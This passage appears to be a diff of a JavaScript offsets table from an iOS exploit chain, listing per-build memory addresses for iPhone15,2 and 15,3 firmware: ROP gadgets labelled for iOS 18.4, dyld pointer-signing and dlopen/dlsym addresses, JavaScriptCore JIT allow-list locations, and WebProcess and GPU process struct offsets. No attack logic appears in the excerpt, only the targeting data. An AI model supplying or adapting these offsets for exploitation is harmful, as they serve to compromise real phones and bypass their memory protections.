CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0188n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2af0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c27a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c27a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c27b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c26f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c27b8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x25808ee60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62d58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda66fb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6faf8n, + WebCore__initPKContact_value: 0x1eda6fb00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e2c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e2b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e2a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda63f00n, + __pthread_head: 0x26a888020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a98d0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8ced98n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce000n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone15,2_22E240": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae35d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae30c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3020n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3070n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2468n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0188n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2af0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c27a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c27a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c27b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c26f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c27b8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x25808ee60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62d58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda66fb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6faf8n, + WebCore__initPKContact_value: 0x1eda6fb00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e2c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e2b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e2a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda63f00n, + __pthread_head: 0x26a888020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a98d0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8ced98n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce000n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone15,2_22E252": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae35d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae30c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3020n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3070n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2468n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0188n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2af0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c27a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c27a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c27b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c26f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c27b8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x25808ee60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62d58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda66fb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6faf8n, + WebCore__initPKContact_value: 0x1eda6fb00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e2c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e2b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e2a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda63f00n, + __pthread_head: 0x26a888020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a98d0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8ced98n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce000n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone15,3_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae35d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae30c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3020n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3070n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2468n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0188n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2af0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c27a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c27a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c27b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c26f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c27b8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x25808ee60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62d58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda66fb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6faf8n, + WebCore__initPKContact_value: 0x1eda6fb00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e2c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e2b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e2a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda63f00n, + __pthread_head: 0x26a888020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a98d0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8ced98n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce000n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone15,3_22E240": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae35d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae30c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3020n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3070n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2468n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0188n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2af0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c27a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c27a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c27b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c26f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c27b8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x25808ee60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62d58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda66fb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6faf8n, + WebCore__initPKContact_value: 0x1eda6fb00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e2c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e2b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e2a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda63f00n, + __pthread_head: 0x26a888020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a98d0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8ced98n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce000n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone15,3_22E252": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae35d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae30c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3020n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3070n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2468n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 